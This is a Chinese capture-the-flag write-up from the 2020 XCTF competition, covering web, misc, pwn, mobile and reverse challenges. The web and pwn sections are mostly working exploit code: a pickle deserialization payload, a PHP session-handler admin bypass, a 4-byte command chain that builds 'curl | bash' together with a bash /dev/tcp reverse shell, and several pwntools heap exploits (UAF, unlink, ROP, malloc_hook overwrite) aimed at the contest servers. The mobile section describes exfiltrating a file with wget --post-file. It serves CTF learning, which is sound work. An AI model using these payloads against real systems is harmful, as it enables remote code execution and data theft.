2020高校战役XCTF分享赛
2020-03-17 10:54:01 Author: xz.aliyun.com(查看原文) 阅读量:345 收藏

web

sqlcheckin

考虑万能密码。

webtmp

考察python反序列化
读源码可知需要覆盖name和category
且需要避免使用R指令码,网上可以搜到使用C指令码来绕过执行RCE
构造payload:

s3 = b"\x80\x03c__main__\nsecret\n}(Vname\nVhaha\nVcategory\nVgaga\nub0c__main__\nAnimal\n)\x81}(X\x04\x00\x00\x00nameX\x04\x00\x00\x00hahaX\x08\x00\x00\x00categoryX\x04\x00\x00\x00gagaub."

print(base64.b64encode(s3).decode())

Hackme

www.zip源码泄露

搞这个

function check_session($session)
{
    foreach ($session as $keys => $values) {
        foreach ($values as $key => $value) {
            if ($key === 'admin' && $value === 1) {
                return true;
            }
        }
    }
    return false;
}

然后就有这个

<?php
require_once('./init.php');
error_reporting(0);
if (check_session($_SESSION)) {
    #变成管理员吧,奥利给
} else {
    die('只有管理员才能看到我哟');
}

那么要搞这个

<?php
require_once('init.php');

class upload_sign
{
    public $sign;
    public $admin = 0;

    public function __construct()
    {
        if (isset($_POST['sign'])) {
            $this->sign = $_POST['sign'];
        } else {
            $this->sign = "这里空空如也哦";
        }
    }

    public function upload()
    {
        if ($this->checksign($this->sign)) {
            $_SESSION['sign'] = $this->sign;
            $_SESSION['admin'] = $this->admin;
        } else {
            echo "???";
        }
    }

    public function checksign($sign)
    {
        return true;
    }
}

$a = new upload_sign();
$a->upload();

利用

ini_set('session.serialize_handler','php_serialize');

这个特性
getSign 填"|O:4:"info":2:{s:5:"admin";i:1;s:4:"sign";s:5:"ekixu";}"

搞定admin,然后

./sandbox/2e38c4c054844d7085d096046b5b8258 <?php

require_once('./init.php');
error_reporting(0);
if (check_session($_SESSION)) {
    #hint : core/clear.php
    $sandbox = './sandbox/' . md5("Mrk@1xI^" . $_SERVER['REMOTE_ADDR']);
    echo $sandbox;
    @mkdir($sandbox);
    @chdir($sandbox);
    if (isset($_POST['url'])) {
        $url = $_POST['url'];
        if (filter_var($url, FILTER_VALIDATE_URL)) {
            if (preg_match('/(data:\/\/)|(&)|(\|)|(\.\/)/i', $url)) {
                echo "you are hacker";
            } else {
                $res = parse_url($url);
                if (preg_match('/127\.0\.0\.1$/', $res['host'])) {
                    $code = file_get_contents($url);
                    if (strlen($code) <= 4) {
                        @exec($code);
                    } else {
                        echo "try again";
                    }
                }
            }
        } else {
            echo "invalid url";
        }
    } else {
        highlight_file(__FILE__);
    }
} else {
    die('只有管理员才能看到我哟');
}

然后要拼接一个只能一次4个字符的shell出来。

在主机上搞shell

bash -i >& /dev/tcp/<ip>/1029 0>&1

exp:

import requests
from time import sleep
from urllib import quote
import base64

payload = [
    # generate "g> ht- sl" to file "v"
    '>dir', 
    '>sl', 
    '>g\>',
    '>ht-',
    '*>v',

    # reverse file "v" to file "x", content "ls -th >g"
    '>rev',
    '*v>x',

    # generate "curl <IPHEX> | ba sh;"
    # 
    '>\;',  
    '>sh\\',
    '>ba\\', 
    '>\|\\',
    '>XX\\', 
    '>XX\\', 
    '>XX\\', 
    '>XX\\',
    '>0x\\',
    '>\ \\', 
    '>rl\\',
    '>cu\\',

    'sh x', 
    'sh g',
]


for i in payload:
    assert len(i) <= 4
    header ={
        "User-Agent":"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36",
        "Cookie":"PHPSESSID=1af6e5b03d0df7c07ae2e548bd44183c"
    }
    data ={
        "url":"compress.zlib://data:@127.0.0.1/plain;base64,"+base64.b64encode(i)
    }
    r = requests.post(url='http://121.36.222.22:88/core/index.php',data=data,headers=header)
    print r.text
    print i
    sleep(0.1)

>

Misc

签到

就不提了

隐藏的信息

给了一张没有定位符的二维码
扫码之后却什么都么得,给了个flag不在这里。
但是winhex看的话里面有一句use base64
接下来,压缩包发现是伪加密
用频谱图发现前后都有电话音,
那么放到网站上解密。http://dialabc.com/sound/detect/
得到数字 187485618521
之后base64加密
flag{MTg3NDg1NjE4NTIx}

ez_mem&usb

得到的是流量包,usb流量分析,可以从中dump下来.vmem文件
标准用volatility分析。。。

搞出flag.img

密码在命令行中


得到了usb keyboard scan code
解码即可

简单Misc

能够得到解压密码
EPIDEMICSITUATIONOFUNIVERSITYWAR
解出文本base64一下即可

flag{Th1s_is_FlaG_you_aRE_rigHT}

武汉加油

工具:x64dbg + sharpOD插件
这misc是vmp壳加密的,其中vmp保护全开,开了防dump+防文件修改
尝试过vmware暂停后提取vmem然后扔进volatility做硬核dump然后失败了...
看了网上的视频教程才来尝试动态调
网上搜sharpOD下载完了直接扔x64dbg的插件目录里就ok了,然后进x64dbg把sharpOD的所有选项都选上

然后F9跑起来,在可执行文件里写点什么然后回车,然后再栈帧里面找自己敲过的东西。
联想到栈帧知识,怀疑是scanf,开始找标志

看到了%s 追到调用返回地址0x401EC7,那就是你了!

随便敲点什么回车,把6个%s读完就断下来了
看到下面有判断读入多少个字符串,如果真则跳上去,如果假就返回了。为了找到真实的对比逻辑,就让他向上跳。
单步下去发现有大跳,根据破解的经验,有大跳的话另一个分支的很重要

这里把flags中的Z位改成0不让它跳

看到小跳不要慌,看跳转逻辑

指来指去也就跳到这附近,那就不用管让它跳

又有大跳,那就不让它跳,之后碰到了for逻辑,就感觉离成功不远了。

全都执行完了,回到刚才下的断点,回去看一眼窗口,答案就出现了。

PWN

ezhacker

文件里就有flag.txt
应该是出错题了。

woodenbox

house of roman

# -*- coding: utf-8 -*-

import sys
import os
import os.path
from pwn import *

context.log_level = 'debug'
# context.timeout = 3
context.terminal = ['mate-terminal', '-x', 'sh', '-c']
#context(os="linux", arch="i386", log_level="debug", timeout=3)
'''
rdi,rsi,rdx,rcx,r8和r9
'''

if len(sys.argv) > 2:
    DEBUG = 0
    HOST = '121.36.215.224' 
    PORT = 9998

else:
    DEBUG = 1
    if len(sys.argv) == 2:
        PATH = sys.argv[1]
    else:
        PATH = './woodenbox3'

    # libc = ELF('/lib/x86_64-linux-gnu/libc-2.30.so')

def choose(s):
    p.sendafter('Your choice:', str(s))

def add(le, name):
    choose(1)
    str1 = p.recv(8)
    if (str1.startswith('invaild')):
        raise EOFError
    p.sendafter('item name:', str(le))
    p.sendafter('Please enter the name of item:', str(name))


    # return str

def edit(index, lengt, name):
    choose(2)
    p.sendafter('Please enter the index of item:', str(index))
    p.sendafter('Please enter the length of item name:', str(lengt))
    p.sendafter('Please enter the new name of the item:', str(name))

def remove(index):
    choose(3)
    p.sendafter('Please enter the index of item:', str(index))
# print/x (void*)$rebase(0x202170)  chunk a
# print/x (void*)$rebase(0x202168)  chunk b
# x/30xg $rebase(0x2020a0)  itemlist
# x/30xg $rebase(0x202160)
# add-symbol-file-all ./libc.so.6 0x7ff7175b3000
# 之前有chunkA和chunkB... 不过没有被free应该没关系吧

def exp():

    chunkB = 'B' * 0x68 + p64(0x41)


    res = add(1, '0')

    add(1, '0')
    add(1, '0')
    add(1, '0')
    add(0xe8, '0')
    index_base = 5
    add(0x88, '0') # 0x20 A
    add(0xa8, chunkB) # 0xd0 B
    add(0x18, '2') # 0x20 C

    # chunkB free了再搞回来, 顺便低字节改写到malloc_hook的fake_chunk
    remove(index_base+1)
    index_base -= 1


    # x/50xg &__malloc_hook-0x10
    # malloc_hook  0x7ffff7dd1b10
    # 0x7fff7d1af5 可以出现合法chunk_size
    # chunk的指针还要靠前8字节?, 在1aed

    # chunkB fd= 0x7f8b66552b78
    add(0xa8, '\xed\x1a')

    add(0x65, '3') # D
    add(0x65, '4') # E
    # add(0x65, '5')



    # 改chunkB的size
    chunkA= 'A' * 0x88 +'\x71'
    edit(index_base+0, len(chunkA)+10, chunkA) 

    remove(index_base+3) #free D
    index_base -= 1

    remove(index_base+4) #free E
    index_base -= 1

    # 改E的fd到B
    # chunkB: 0x555555757200 chunkC: 0x5555557572d0
    # chunkE的fd原来是指向D的
    # 它们相差了f0, 只能修改A大小让他们只有低字节不同,D的低字节是f0-->B的低字节是00 这里还是1/16的可能性!!
    chunk2='3' * 0x18 + p64(0x71) + 'D'*0x68 + p64(0x71) + '\x00' 
    edit(index_base+2, len(chunk2)+10, chunk2)


    # 修复fastbin???
    # TODO
    # 删掉不用的chunk, 为3连malloc准备??
    add(0x65, '4') # E
    add(0x65, '1') # B




    # malloc_hook
    # 0x7f8b66552af5 是size域, +8是内容域, 0x7f8b66552b10是hook, 要0x13的padding, 似乎踩在memaline_hook和realloc_hook上
    # onegadget是 0x45216(rax=0), 0x4526a, 0xf02a4, 0xf1147
    # libcbase: 0x7ffff7a0d000---> 7FFF F7AF D2A4‬

    # 0x45216 execve("/bin/sh", rsp+0x30, environ)
    # constraints:
    #   rax == NULL

    # 0x4526a execve("/bin/sh", rsp+0x30, environ)
    # constraints:
    #   [rsp+0x30] == NULL

    # 0xf02a4 execve("/bin/sh", rsp+0x50, environ)
    # constraints:
    #   [rsp+0x50] == NULL

    # 0xf1147 execve("/bin/sh", rsp+0x70, environ)
    # constraints:
    #   [rsp+0x70] == NULL
    #  2:7FFF F7A5 226A  3:7FFF F7AF D2A4‬  4: 7FFF F7AF E147‬
    padd = 'n' * 0x13 + "\xa4\xd2\xaf" # 检查一下malloc_hook的位置
    padd2 = 'n' * 0x13 + "\x6a\x22\xa5"
    padd4 = 'n' * 0x13 + '\x47\xe1\xaf'
    add(0x65, '\x00') # Hook


    remove(index_base)
    index_base -= 1

    unsorted_payload = 'u'*0xe8 + p64(0x91)+ p64(0) + '\x00\x1b'
    edit(index_base-1, len(unsorted_payload)+10, unsorted_payload)
    add(0x88, 'ha') # -1


    edit(index_base+5, len(padd)+10, padd)

    # gdb.attach(proc.pidof(p)[0], "b *$rebase(0x104a)")


    # choose(1)
    # p.sendafter('Please enter the length of item name:', '1')
    # x/30xg $rebase(0x2020a0)
    remove(2)
    pay = '\x00' *0x68
    edit(4, len(pay), pay)
    remove(4)
    p.recv()
    p.sendline('cat flag')
    return p.recvline()
    # p.interactive()

DEBUG=0
HOST = '121.36.215.224' 
PORT = 9998

while (1):
    try:
        if not DEBUG:
            p = remote(HOST, PORT)
        else:
            p = process(PATH)
        if len(exp()) != 0:
            break
    except EOFError:
        p.close()
        continue

easyheap

add的值>0x400的时候会申请一个未初始化的块,uaf,劫持atoi_got

# -*- coding:utf-8 -*-
from pwn import *
from pwn_debug import *
from LibcSearcher import *
debug = 0
filename='./easyheap'
sa=lambda x,y:p.sendafter(x,y)
sla=lambda x,y:p.sendlineafter(x,y)
context.terminal=['/usr/bin/tmux','new-window']
#elf=ELF(filename)
context.log_level = 'debug'
if debug:
    p=process(filename)#,env={'LD_PRELOAD':'./libc-2.23.so'})
else:
    p=remote('121.36.209.145',9997)
def vi():
    if debug:
        gdb.attach(p)

def chose(c):
    sla('Your choice:\n',str(c))
def add(s,c='\x00'):
    chose(1)
    sla('How long is this message?\n',str(s))
    if s<=0x400:
        sa('What is the content of the message?\n',c)
def free(i):
    chose(2)
    sla('What is the index of the item to be deleted?\n',str(i))
def edit(i,c):
    chose(3)
    sla('What is the index of the item to be modified?\n',str(i))
    sa('What is the content of the message?\n',c)

free_got=0x602018
atoi_got=0x602050
puts_plt=0x400670
puts_got=0x602020
bss=0x6020d8

add(0x18)
add(0x18)
free(0)
add(0x401)
add(0x18)
p1=p64(0)+p64(0x21)
edit(0,p1+p64(bss))
edit(2,p64(puts_got))
edit(0,p1+p64(free_got))
edit(2,p64(puts_plt))
free(3)
p.recvline()
puts_addr=u64(p.recv(6)+'\x00\x00')
print hex(puts_addr)

obj=LibcSearcher('puts',puts_addr)
base=puts_addr-obj.dump('puts')
sys_addr=base+obj.dump('system')
edit(0,p1+p64(atoi_got))
edit(2,p64(sys_addr))
sla('Your choice:\n','/bin/sh')

p.interactive()
p.close()

lgd

trunk的可写入字节数等于add中的第二个参数字节个数,堆溢出,unlink,got表泄露libc(开始试着泄露main_arena+88发现地址有点问题),因为有 prctl(22, 2LL, &v1); ,所以hooksystemexecve这些都不可用,故用任意读写查看libc中保存的栈位置,
改栈rop,read(open('flag',0),bss,0x80);write(1,bss,0x80);

#coding:utf-8
from pwn import *
#from pwn_debug import *
debug = 0
filename='./pwn'
sa=lambda x,y:p.sendafter(x,y)
sla=lambda x,y:p.sendlineafter(x,y)
#context.terminal=['/usr/bin/tmux','new-window']
elf=ELF(filename)
context.log_level = 'debug'
if debug:
    p=process(filename)#,env={'LD_PRELOAD':'./libc-2.23.so'})
else:
    p=remote('121.36.209.145',9998)
def vi():
    if debug:
        gdb.attach(p)
def chose(c):
    sla('>> ',str(c))
def add(l,c):
    chose(1)
    sla('______?\n',str(l))
    sa('start_the_game,yes_or_no?\n','a'*c)
def free(i):
    chose(2)
    sla('index ?\n',str(i))
def view(i):
    chose(3)
    sla('index ?\n',str(i))
def edit(i,d):
    chose(4)
    sla('index ?\n',str(i))
    sa('___c___r__s__++___c___new_content ?\n',d)
def write(addr,c):
    edit(3,p64(addr))
    edit(0,c)
def watch(addr):
    edit(3,p64(addr))
    view(0)
    return u64(p.recv(6).ljust(8,'\x00'))
def csu(rbx, rbp, r12, r13, r14, r15):
    # pop rbx,rbp,r12,r13,r14,r15
    # rbx should be 0,
    # rbp should be 1,enable not to jump
    # r12 should be the function we want to call
    # rdi=edi=r15d
    # rsi=r14
    # rdx=r13
    #payload = 'a' * 0x80 + fakeebp  #填充垃圾字符串
    csu_end_addr=0x4023aa
    csu_front_addr=0x402390
    payload =  ''
    payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
    payload += p64(csu_front_addr)
    payload += 'a' * 0x38
    #payload += p64(last)
    return payload
sla('what is your name? \n','aabbcc')
add(0x18,0x200)
add(0x80,0x80)
add(0x18,0x80)
free(1)
edit(0,'a'*0x1f+'b')
view(0)
p.recvuntil('b')
main_arena=u64(p.recv(6)+'\x00\x00')-0x58
malloc_hook=main_arena-0x10
base=malloc_hook-0x3c4b10
free_hook=base+0x3c67a8
sys=base+0x38c40
free_got=0x602f98
#45216
#4526a
#f02a4 
#f1147
one=base+0x4526a
print hex(malloc_hook)
edit(0,'a'*0x18+p64(0x91))
add(0x80,0x80)

add(0x100,0x200)
add(0x100,0x80)
bss=0x6032f8
p1=p64(0)+p64(0x100)+p64(bss-0x18)+p64(bss-0x10)+p64(0x100)+p64(0x110)
p1=p1.ljust(0x100,'a')
p1+=p64(0x100)+p64(0x110)
edit(3,p1)
free(4)
view(3)
heap=u64(p.recv(3).ljust(8,'\x00'))
edit(3,p64(free_got))
view(0)
''''''
free_addr=u64(p.recv(6)+'\x00\x00')
print hex(free_got)
base=free_addr-0x844f0
sys=base+0x45390
free_hook=base+0x3c67a8
env=base+0x3c6f38
open=base+0xf7030
read=base+0xf7250
write_addr=base+0xf72b0
stack=watch(env)
print hex(stack)
print hex(watch(stack-0x208))
write(0x6034f0,'r\x00')
write(0x6034e0,'./flag\x00')
write(0x6034d0,p64(open))
write(0x6034c0,p64(read))
write(0x6034b0,p64(write_addr))
rop=csu(0,1,0x6034d0,0,0,0x6034e0)+csu(0,1,0x6034c0,0x80,0x603500,3)+csu(0,1,0x6034b0,0x80,0x603500,1)
print hex(len(rop))
vi()
write(stack-0xe5d8+0xe3b8,rop)
''''''



p.interactive()
p.close()

Shortest_path

通过uaf把ptr[0]这个站点的buf指针改成指向s字符串("/bin/cat flag"),再通过SPFA函数中的队列覆写判断0号站点是否存在的dword_606F60[0]数组元素为非0(目的是能够查询ptr[0]),最后查询站点0信息,在打印buf时即可获取flag。
原本考虑到加边时保存边长的数组存在越界,因为理论可以无限加重边使得dword_6036C0下标可以为任意值,但是这种做法会导致dword_602720数组越界而改变dword_6036C0的值,所以dword_6036C0的理论上限为1000。同时,这种做法会覆盖s字符串,所以无效。
详见exp:

#coding:utf-8

from pwn import *

path = './Shortest_path'
local = 0
attach = 0
#P = ELF(path)
context(os='linux',arch='amd64')
context.log_level = 'debug'

if local == 1:
    p = process(path)
    if context.arch == 'amd64':
        libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    else:
        libc = ELF('/lib/i386-linux-gnu/libc.so.6')
else:
    p = remote('121.37.181.246',19008)

def add(index,price,nameSize,name,stationNum):    #添加站点的函数
    p.sendlineafter("options ---> ","1")
    p.sendlineafter("ID: ",str(index))
    p.sendlineafter("Price: ",str(price))
    p.sendlineafter("Length: ",str(nameSize))
    p.sendafter("Name: \n",name)
    p.sendlineafter("connected station: ",str(stationNum))

def delete(index):                        #删除站点的函数
    p.sendlineafter("options ---> ","2")
    p.sendlineafter("ID: ",str(index))

def showInfo(index):                        #查询信息函数
    p.sendlineafter("options ---> ","3")
    p.sendlineafter("ID: ",str(index))

def findRoute(source,target):                #SPFA函数
    p.sendlineafter("options ---> ","4")
    p.sendlineafter("Station ID: ",str(source))
    p.sendlineafter("Station ID: ",str(target))


def addRoute(station,distance):            #加边函数
    p.sendlineafter("Conected station ID: ",str(station))
    p.sendlineafter("distance: ",str(distance))

def build(node):                    #批量构造图的函数
    p.sendlineafter("---> ", "1")
    p.sendlineafter(": ", str(node))
    p.sendlineafter(": ", "1")
    p.sendlineafter(": ", "1")
    p.sendlineafter(": \n", "A")
    p.sendlineafter(": ", "26")
    for i in range(3, 30):
        if i == node:
            continue
        p.sendlineafter(": ", str(i))
        p.sendlineafter(": ", "-1")

add(0,10,0x20,'\x00'*1,0)
add(1,10,0x20,'\x11'*1,0)    #创建两个节点,注意申请的内存大小要大于0x10

delete(0)
delete(1)            #free,造成uaf漏洞

add(2,10,0x10,p64(0)+p64(0x6068E0),0)    #申请新节点,使得buf被分配为原来ptr[0]的内存块。修改其为s字符串地址




for i in range(3, 30):        #构造特殊的满图,即每个点与另外所有点(0,1,2除外)相连,为了保证SPFA的时候队列足够长,
    build(i)

p.sendlineafter("> ", "4")
p.sendlineafter(": ", "3")
p.sendlineafter(": ", "29")        #查询3-29号点距离,此数据为调试后得到的

#gdb.attach(p)
showInfo(0)            #查询0号节点信息,即可得到flag

p.interactive()

Mobile

拿到手的apk开始分析


里面有个hmac签名验证,直接用java写就ok

构造了json对象之后就开始研究如何利用它返回shell
看到了wget,也看到了直接做字符串拼接,就想会不会是广义上的sql注入,然而runtime.exec()打破了我的幻想,之后开始老老实实的研究wget
wget里有个参数是--post-file,可以通过post方式向上传文件
再加上https://github.com/xl7dev/Exploit/blob/master/Wget/wget-exploit.py
这个洞其实没法用,但是它搭了一个能收post的服务器这个就很好,然后尝试上传flag文件
然而直接wget xxx/xx --post-file flag却没用,最后才想到会不会flag不在当前目录下。
最后根据安卓应用目录结构推出flag在/data/data/com.xuanxuan.getflag/files/下
最后payload

Reverse

天津gai

#include<cstdio>
#include<cctype>
using namespace std;
unsigned char target[19]={17,8,6,10,15,20,42,59,47,3,47,4,16,72,62,0,7,16};
char key[]="Rising_Hopper!";
void testKey(int idx)
{
    for(unsigned char i=0;i<=255;i++)
    {
        if(!isprint(i))
            continue;
        unsigned char v=~(i & key[idx % 14]) & (i | key[idx % 14]);
        if(v==target[idx])
        {
            printf("%c",i);
            return;
        }

    }
}
int ans[100]={0x1EA272,0x206FC4,0x1D2203,0x1EEF55,0x24F111,0x193A7C,0x1F3C38,0x21566D,0x2323BF,0x2289F9,0x1D2203,0x21098A,0x1E08AC,0x223D16,0x1F891B,0x2370A2,0x1E558F,0x223D16,0x1C883D,0x1F891B,0x2289F9,0x1C883D,0xEB773,0xE6A90,0xE6A90,0xE6A90,0xB1CCF,0x1C883D,0x2289F9,0x22D6DC,0x223D16,0x21566D,0x21098A,0x1EEF55,0x1E558F,0x223D16,0x1C883D,0x22D6DC,0x1F3C38,0x1D2203,0x21098A,0x1C883D,0x24A42E,0x1E558F,0x223D16,0x21566D,0xD83E7,0x21566D,0x21098A,0x1E558F,0x258AD7};
void testFlag(int idx)
{
    for(unsigned char i=0;i<=255;i++)
    {
        if(!isprint(i))
            continue;
        int v=19683*i%0x8000000B;
        if(v==ans[idx])
        {
            printf("%c",i);
            return;
        }

    }
}
int main()
{
    for(int i=0;i<18;i++)
        testKey(i);
    puts("");
    for(int i=0;i<51;i++)
        testFlag(i);
    return 0;
}

graph

#include<cstdio>
#include<cctype>
using namespace std;
int value[32]=
{0x34,0x2,0x2C,0x2A,0x6,0x2A,0x2F,0x2A,
0x33,0x3,0x2,0x32,0x32,0x32,0x30,0x3,
0x1,0x32,0x2B,0x2,0x2E,0x1,0x2,0x2D,
0x32,0x4,0x2D,0x30,0x31,0x2F,0x33,0x5};
int way1[32]=
{0x1,0x8,0x7,0x17,0x9,0x13,0x1F,0x17,
0x9,0x0D,0x0C,0x1D,0x0A,0x18,0x9,0x18,
0x19,0x9,0x1A,0x3,0x16,0x6,0x11,0x0D,
0x7,0x0F,0x14,0x1,0x10,0x4,0x0B,0x1F};
int way2[32]=
{0x2,0x2,0x1,0x12,0x7,0x2,0x1A,0x0D,
0x4,0x0A,0x4,0x15,0x0E,0x1,0x0,0x0E,
0x5,0x7,0x1C,0x0C,0x1C,0x0F,0x0F,0x2,
0x10,0x17,0x1E,0x17,0x13,0x9,0x16,0x1F};
int saves[32];
bool find=false;
void dfs(int node,int val,int step)
{
    if(!isprint(val) || find)
        return;
    saves[step]=val;
    if(step==16)
    {
        if(node==0x1F)
        {
            printf("flag{");
            for(int i=1;i<step;i++)
                printf("%c",saves[i]);
            puts("}");
            find=true;
        }
        return;
    }
    int w1=way1[node],w2=way2[node],dval=value[node];
    dfs(w1,val-dval,step+1);
    dfs(w2,val+dval,step+1);
}
int main()
{
    dfs(0,'0',0);
    return 0;
}

文章来源: http://xz.aliyun.com/t/7370
如有侵权请联系:admin#unsafe.sh